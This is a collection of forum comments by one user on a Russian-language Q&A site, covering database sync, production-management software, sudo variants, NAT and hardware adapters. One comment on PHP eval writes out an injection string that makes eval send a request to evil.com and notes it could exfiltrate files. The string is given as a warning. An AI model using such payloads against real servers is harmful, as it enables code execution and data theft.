Задать вопрос
  • Как организовать одностороннюю синхронизацию между двумя БД?

    @rPman
    Dinxor, обновления тогда не поймать (особенно больно будет когда эти обновления будут сделаны вручную в таблице)

    Что значит дешевле? У тебя ОДНА таблица, триггер ты напишешь за 10 минут

    пример проблем которые ты получишь с новым столбцом - в приложении стоит запрос select * from table и количество колонок критично (например структура в памяти определенного размера), при попытке записать лишнюю колонку будет выход за границы, для языков типа C/C++ например это будет фатально (пример высосан из пальца, само собой такой проблемы может не быть)
    Написано
  • Как организовать одностороннюю синхронизацию между двумя БД?

    @rPman
    Dinxor, так саму таблицу ты не тронешь, речь о создании НОВЫХ таблиц и триггеров на их пополнение
    Написано
  • Как организовать одностороннюю синхронизацию между двумя БД?

    @rPman
    Тебе нужно где то сохранять вставляемые данные, можно и в файле в том же триггере, но помним про транзакции и их отмену нужно будет мониторить самому.

    Про медленное удаление данных, их можно не удалять, завести фифо буфер прямо в таблице и писать по кругу, сохраняя метки начала и конца

    Ещё вариант, завести две таблицы, запись в которые переключать по очереди, в момент передачи данных т.е. передать данные целиком из всей текущей таблицы и после делать ее truncate, что должно быть очень быстро, само собой где то нужно хранить, какая из таблицы текущая для триггера

    Твоя задача очень специфична, в готовом виде маловероятна
    Написано
  • Какой использовать стек для написания онлайн сервиса управления производством?

    @rPman
    aleks-th, они были работниками в бюджетной конторе где платили смешную зарплату, но получилось выбить дополнительные деньги именно на разработку, пилили это дело несколько месяцев (больше копались с бумажными архивами, и тюнили приказную систему), а когда пришел момент оплаты, часть денег была 'украдена' вышестоящим начальством, команда логично развалилась и на поддержке на сколько я знаю осталось пара тройка человек (там чехарда с уходами и новыми людьми тянулась годами) лет 10 проект жил потом его попытались на что то заменить (так как разрабатывать было некому),.. в общем на сколько я знаю там фигня кое как написанная теперь.

    Так что суммы что там были были близки к настоящей себестоимости разработки проекта (не сверх сложный он был), но такую сумму вы никогда не увидите у специализированных компаний, которые жируют на госзаказах в стране (по той же причине что и производство 10х к цене и банально подшипников в стране не купишь по ценам сравнимым с китайцами).
    Написано
  • Почему у меня не копятся токены BitTorrent?

    @rPman
    может должны считаться только пользователи, установившие себе его кошелек? т.е. нужно использовать правильный клиент.
    Написано
  • Какой использовать стек для написания онлайн сервиса управления производством?

    @rPman
    aleks-th, еще про приказную систему забыл... помимо людей и вещей есть еще документооборот, каждая бумажка ходит по своей дорожке, подписать там, утвердить здесь, проконтролировать вот этим и тем.. и все это дублируется с реальными бумажками

    И да, про деньги, 'внутри одной госкомпании' команда из 6 человек запилила в 2011 кажется за треть ляма рублей то что внешняя предлагает за 5 лямов. Так что да, нормальную команду нужно собирать, но оплачивать ее на постоянке, когда она год будет сидеть без работы мелкие компании не потянут.

    Но напомню, бывают просто простые задачи, у компании тупо нет денег на разработку чего то серьезного, и могут довольствоваться малым, малыми шажками... запилить четыре пять формочек, в одной детальку регистрируют, в другой подтверждают приемку на месте и отправку дальше, в третьем регистрируют инциденты, типа станок детальку зажевал.... с авторизацией basic auth с заведением логинов вручную в консоли админом,.. сначала текстом, без адекватных справочников, через пол годика информации и хотелок накапливается, данные сводятся к чему то более строгому, пути детали и роли пользователей, аналитика и отчеты и т.п.
    Написано
  • Какой использовать стек для написания онлайн сервиса управления производством?

    @rPman
    aleks-th,
    Прям за пару тройку вечеров ?

    тз
    Внесения данных о производимом оборудовании, у каждого оборудовании детали. Каждая деталь изготавливается отдельно, необходимо отслеживать на каком этапе производства деталь, в каком цеху и тд.
    я прекрасно понимаю что ERP системы это не то что описал автор вопроса, а так же прекрасно понимаю что компании в конце концов нужна ERP система, поэтому повторюсь, начинать нужно с аналитики и построения ТЗ
    Написано
  • Мое доменное имя исчезло у моего провайдера домена. Виноват ли в этом провайдер?

    @rPman
    при регистрации на reg.ru вы должны были указывать свои настоящие данные... требуйте возврата доступа по паспорту

    вы получаете сообщения от reg.ru по sms? вот он ваш способ возврата доступа к сервису, в России номер телефона стал негласным документом удостоверяющим личность.
    Написано
  • Полная разница sudo su, sudo -i, sudo -s?

    @rPman
    Михаил Р., продолжай править ;) все еще ошибка, sudo su -i
    p.s. это потому что я думал что там должен быть sudo -i а ты отвечал sudo su - вот у тебя и смешалось
    Написано
  • Полная разница sudo su, sudo -i, sudo -s?

    @rPman
    - sudo su - - эмулирует полный вход юзера root (login shell).

    поправь sudo -i
    Написано
  • Как из строки с путём получить элемент массива?

    @rPman
    отличный пример - если использовать код в этом ответе, злоумышленник может использовать вот такую $string:
    $string = 'k1"].file_get_contents("http:".chr(47).chr(47)."evil.com");#';

    это заставит eval выполнить код отправки http запроса к evil.com

    тут легкую проблему создал символ разделитель / который требовался в http:// запросе. Как видно что код может быть сложнее, например можно прочитать файл из файловой системы, сформирвоать из его содержимого http запрос и отправить его на сервер злоумышленника
    Написано
  • Как из строки с путём получить элемент массива?

    @rPman
    если вход в нее не контролировать, злоумышленник может получить доступ к серверу с правами веб сервера,.. даже если ты параноик, и закрыл полностью доступ на запись (можно но сложно), получить код бакэнда для атакующего - бесценно... а там и до доступа к базам данных недалеко
    Написано
  • Как из строки с путём получить элемент массива?

    @rPman
    Бывают случаи, когда eval оправдана.

    Со злом можно жить, если понимаешь в чем его зло и как обходить проблемные места.

    p.s. вся наша реальная жизнь - это игра со злом.. 'не жить' - не вариант
    Написано
  • Как обработать данные(файл с данными на 14гб)?

    @rPman
    У тебя собирается data список, затем преобразуется в массив, это уже копирование, если там миллиард чисел, это несколько гигабайт ram (или даже десяток).
    Можно сразу в array складывать данные, если размер заранее не известен, то при нехватке размера, увеличивать в 2 раза, тут тоже копирование, но меньше памяти нужно чем list.

    И непонятно, как дальше эти данные используются? возможно все подсчеты можно проделать на лету, в процессе загрузки данных?
    Ну и конечно, можно вместо хранения в памяти, складывать данные на диск, как вариант, можно сделать memory file mapping (MemoryMappedFile.CreateFromFile)

    Ну и конечно, данные можно переместить в sql базу данных, особенно если аналитика не простая, и разработка алгоритма этого анализа и суть работы с данными... естественно размещать файлы базы данных лучше на отдельном устройстве или хотя бы диске
    Написано
  • В Open Server 6-й версии разве не установлен Composer?

    @rPman
    А пробовал поиском composer phar найти? Почти наверняка в path не добавлен или ещё как не настроено (не подскажу по настройки этого добра под windows, потому что это садамаза)
    Написано
  • Как получить аватарки пользователей из отзывов Avito на WordPress без API?

    @rPman
    Универсально - если сервис (в данном случае авито) активно защищается от автоматизации, то любое решение, в достаточно короткие сроки (недели-месяцы), перестает работать и потребует исправление (часто правда бывает минимальное, но компетенции для этого нужны будут не меньше чем для создания).

    Т.е. вам нужно не само решение, а с его поддержкой. Тут либо сами либо берите у других.
    Написано
  • Как подключиться к Windows через SSH под доменным пользователем без связи с доменом?

    @rPman
    Петровский, никогда не понимаю людей, которые ничего не сообщают о своей проблеме, даже когда конкретные вопросы задаешь.. неужели не ясно что вы ничего не сказали, вам никто так не поможет.
    Написано
  • Почему не работает NAT переадресация?

    @rPman
    oia, человек может не понять про telnet - все что введешь на одной стороне телнет, будет видно на другой (простая двухсторонняя трансляция символов) а так же видно что была попытка подключиться или нет.

    Будет ясно, проходит ли вообще подключение из-вне
    Написано
  • Как подключиться к Windows через SSH под доменным пользователем без связи с доменом?

    @rPman
    больше информации, что настроил, куда подключаешься, причем тут 'другие vpn'? что за vpn (сейчас такое, что одним словом называют и http прокси, и socks, и особый протокол, и tap и tun..)
    Написано
  • Как подключить адаптер m2 x4 в порт PCIe x1?

    @rPman
    Vlad Ivanov, формально можно подпилить механически, влезет и будет работать, но лучше конечно так не делать

    лучше купить рейзер, и вся проблема будет в креплении контроллера вне платы
    spoiler
    gktr-fmzu0jkegr3qe5h03bo1ju.png
    внимательно смотрим, это пример переходника, заодно в нем отсутствует стенка, и хотя он x4, он позволит вставить в него хоть x16
    Написано